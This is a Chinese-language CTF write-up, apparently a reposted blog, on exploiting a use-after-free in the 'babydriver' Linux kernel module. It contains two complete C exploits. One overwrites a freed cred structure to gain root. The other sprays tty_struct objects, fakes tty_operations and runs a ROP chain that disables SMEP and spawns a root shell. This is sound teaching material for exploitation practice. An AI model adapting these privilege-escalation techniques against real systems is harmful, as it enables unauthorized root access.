1. 程式人生 > >linux_kernel_uaf漏洞利用實戰

linux_kernel_uaf漏洞利用實戰

driver lib 指向 init 變化 ret paste gadget 開啟

前言

好像是國賽的一道題。一個 linux 的內核題目。漏洞比較簡單,可以作為入門。

題目鏈接: 在這裏

正文

題目給了3個文件

技術分享圖片

分配是 根文件系統 , 內核鏡像, 啟動腳本。解壓運行 boot.sh 即可。 vmware 需要開啟一個選項。
技術分享圖片

使用 lsmod 可以找到加載的內核模塊,以及它的加載地址。

技術分享圖片
多次啟動發現,地址都沒有變化,說明沒有開啟 kaslr ,從 boot.sh 中查看 qemu 啟動選項

qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append ‘console=ttyS0 root=/dev/ram oops=panic panic=1‘ -enable-kvm -monitor /dev/null -m 64M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep 

發現開啟了 smep.

然後解壓 rootfs.cpio, 拿出內核模塊文件,用 ida 分析之。

使用

技術分享圖片

解開 rootfs.cpis ,可以使用 find 命令搜索 babydriver, 可知 內核模塊文件位於 lib/modules/4.4.72/babydriver.ko, 然後放到 ida 裏面分析即可。

使用 open 開啟設備時會,分配一塊內存到 babydev_struct.device_buf

技術分享圖片

關閉設備時會直接 kfreebabydev_struct.device_buf.
技術分享圖片

readwrite 非常正常的操作。

ioctl 時我們可以讓 驅動 重新分配我們想要的大小的內存。

技術分享圖片

程序的漏洞在於 babydev_struct 是一個全局變量,所以如果我們打開兩次該設備,就會有兩個 fd 可以操作這個結構體,然後釋放掉一個,另外剩下的那個就會指向一塊已經 free 掉的內存, UAF.

由於開啟了 smep ,我們不能使用 ret2user的攻擊方式。下面介紹兩種利用方法。

修改 cred

  • 進程的權限由 uid 決定,所以我們可以通過 ioctl 分配和 cred結構體同樣大小的內存塊

  • 然後觸發漏洞,free 掉它,接著通過 fork 創建進程,這樣該進程的 cred 結構體就會使用剛剛 free 掉的內存。

  • 而此時我們可以使用 babydriverwrite

    功能修改這塊內存。

  • 我們可以修改 cred 結構體中代表 uid 的區域 為 0,就實現了 root

exp


#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <pthread.h>

#define CRED_SIZE 168
#define DEV_NAME "/dev/babydev"

char buf[100];

int main()
{
    int fd1, fd2, ret;
    char zero_buf[100];
    memset(zero_buf, 0, sizeof(char) * 100);
    fd1 = open(DEV_NAME, O_RDWR);
    fd2 = open(DEV_NAME, O_RDWR);
    // 首先通過ioctl改變第一次open的內存大小,使其和cred結構體一樣大小
    ret = ioctl(fd1, 0x10001, CRED_SIZE);
    // release第一次open,釋放一個cred結構體一樣大小的內存
    close(fd1);
    // fork一個新進程來創建一個cred結構體,這個cred結構體就會用剛剛釋放的內存,即UAF內存空間
    int now_uid = 1000; // 當前uid為1000
    int pid = fork();
    if (pid < 0) {
        perror("fork error");
        return 0;
    }

    if (!pid) {
        // 寫入28個0,一直到egid及其之前的都變為了0,這個時候就已經會被認為是root了
        ret = write(fd2, zero_buf, 28);
        now_uid = getuid();
        if (!now_uid) {
            printf("get root done\n");
            // 權限修改完畢,啟動一個shell,就是root的shell了
            system("/bin/sh");
            exit(0);
        } else {
            puts("failed?");
            exit(0);
        }
    } else {
        wait(NULL);
    }
    close(fd2);
    return 0;
}

利用tty_struct

smep 只是不能執行用戶態的代碼,我們還是可以使用 用戶態的數據的。我們可以通過 rop 來關閉 smep, 然後再在使用 ret2user 的技術進行提權。

首先我們需要控制 rip, 可以通過 觸發 uaf 後,多次分配 tty_struct 來占坑,然後使用 write 修改 tty_operations 的指針到我們偽造的 tty_operations 結構體 就可以控制 rip 了。

要進行 rop 我們需要一個可控的 棧 。

這裏使用

技術分享圖片
因為在調用 tty_operations 裏面的函數時,最後一步是 call rax, 所以進入到這裏時 的 rax 就為 0xffffffff81007808 這是一個 內核的內存地址,不過它的低 32 位,也即 eax0x81007808,是一個 用戶態的地址,我們是可以通過 mmap 拿到的,所以思路就是,首先通過 mmap0x81007808 處布置好 rop_chain 然後 設置 tty_operations 裏面的其中一個函數指針為 xchg esp,eax 的地址,然後調用之,就會進入 rop 了。

技術分享圖片

xchg esp,eax之後,可以發現 rsp 被劫持到我們可控的數據區了,接下來就是通過 rop 關閉 semp, 然後 ret2user 提權即可。

技術分享圖片

exp

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>

#define TTY_STRUCT_SIZE 0x2e0
#define SPRAY_ALLOC_TIMES 0x100

int spray_fd[0x100];

/* // 將tty_struct放入UAF空間,將第24字節的位置用偽造的tty_operations替換,如147、148行所示
tty_struct:
int magic; // 4
struct kref kref; // 4
struct device *dev; // 8
struct tty_driver *driver; // 8
const struct tty_operations *ops; // 8, offset = 4 + 4 + 8 + 8 = 24
[...]
*/

struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
    struct file *filp, int idx);
    int (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int (*write)(struct tty_struct * tty,
    const unsigned char *buf, int count);
    int (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int (*write_room)(struct tty_struct *tty);
    int (*chars_in_buffer)(struct tty_struct *tty);
    int (*ioctl)(struct tty_struct *tty,
    unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
    unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
    unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty,
    struct serial_icounter_struct *icount);
    const struct file_operations *proc_fops;
};

typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);

/* Gadgets */
_commit_creds commit_creds = (_commit_creds) 0xffffffff810a1420;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810a1810;
unsigned long native_write_cr4 = 0xFFFFFFFF810635B0; // 寫入cr4來關閉smep
unsigned long xchgeaxesp = 0xFFFFFFFF81007808; // 設置棧
unsigned long poprdiret = 0xFFFFFFFF813E7D6F;
//unsigned long iretq = 0xFFFFFFFF8181A797;
unsigned long iretq = 0xffffffff814e35ef;
unsigned long swapgs = 0xFFFFFFFF81063694;  // 回到用戶空間之前的準備

/* status */
unsigned long user_cs, user_ss, user_rflags;
void save_stats() {
    asm(
        "movq %%cs, %0\n" // mov rcx, cs
        "movq %%ss, %1\n" // mov rdx, ss
        "pushfq\n"        // 把rflags的值壓棧
        "popq %2\n"       // pop rax
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory" // mov user_cs, rcx; mov user_ss, rdx; mov user_flags, rax
        );
}

void get_shell() {
    system("/bin/sh");
}

void get_root() {
    commit_creds(prepare_kernel_cred(0));
}

void exploit() {
    int i;
    char *buf = (char*)malloc(0x1000);
    struct tty_operations *fake_tty_operations = (struct tty_operations *)malloc(sizeof(struct tty_operations));

    save_stats();

    memset(fake_tty_operations, 0, sizeof(struct tty_operations));
    fake_tty_operations->ioctl = (unsigned long)xchgeaxesp; // 設置tty的ioctl操作為棧轉移指令

    int fd1 = open("/dev/babydev", O_RDWR);
    int fd2 = open("/dev/babydev", O_RDWR);

    ioctl(fd1, 0x10001, TTY_STRUCT_SIZE);
    write(fd2, "hello world", strlen("hello world"));
    close(fd1);

    // spray tty 這裏的堆噴射其實去掉也能成功,因為是釋放後緊接著申請的
    puts("[+] Spraying buffer with tty_struct");
    for (i = 0; i < SPRAY_ALLOC_TIMES; i++) {
        spray_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
        if (spray_fd[i] < 0) {
            perror("open tty");
        }
    }

    // 現在有一個tty_struct落在了UAF區域裏
    puts("[+] Reading buffer content from kernel buffer");
    long size = read(fd2, buf, 32);
    if (size < 32) {
        puts("[-] Reading not complete!");
        printf("[-] Only %ld bytes read.\n", size);
    }


    // 檢查噴射是否成功
    puts("[+] Detecting buffer content type");
    if (buf[0] != 0x01 || buf[1] != 0x54) {
        puts("[-] tty_struct spray failed");
        printf("[-] We should have 0x01 and 0x54, instead we got %02x %02x\n", buf[0], buf[1]);
        puts("[-] Exiting...");
        exit(-1);
    }
    // 設置tty_operations為偽造的操作
    puts("[+] Spray complete. Modifying function pointer");
    unsigned long *temp = (unsigned long *)&buf[24];
    *temp = (unsigned long)fake_tty_operations;

    puts("[+] Preparing ROP chain");
    unsigned long lower_address = xchgeaxesp & 0xFFFFFFFF;
    unsigned long base = lower_address & ~0xfff;
    printf("[+] Base address is %lx\n", base);
    if (mmap(base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != base) {
        perror("mmap");
        exit(1);
    }

    unsigned long rop_chain[] = {
        poprdiret,
        0x6f0,
        native_write_cr4, // cr4 = 0x6f0
        (unsigned long)get_root,
        swapgs, // swapgs; pop rbp; ret
        base,   // rbp = base
        iretq,
        (unsigned long)get_shell,
        user_cs,
        user_rflags,
        base + 0x10000,
        user_ss
    };
    memcpy((void*)lower_address, rop_chain, sizeof(rop_chain));
    puts("[+] Writing function pointer to the driver");
    long len = write(fd2, buf, 32);
    if (len < 0) {
        perror("write");
        exit(1);
    }

    puts("[+] Triggering");
    for (i = 0;i < SPRAY_ALLOC_TIMES; i++) {
        ioctl(spray_fd[i], 0, 0); // FFFFFFFF814D8AED call rax
    }
}

int main() {
    exploit();
    return 0;
}

最後

內核態和用戶態其實也差不多,主要就是對內存機制要非常了解。 xchg esp, eax 然後 mmap 即可控制 棧數據, 這個技巧確實厲害。使用 gef 沒法調內核,換了 pwndbg 就可以了.

參考

http://pwn4.fun/2017/08/15/Linux-Kernel-UAF/

http://bobao.360.cn/learning/detail/4148.html

linux_kernel_uaf漏洞利用實戰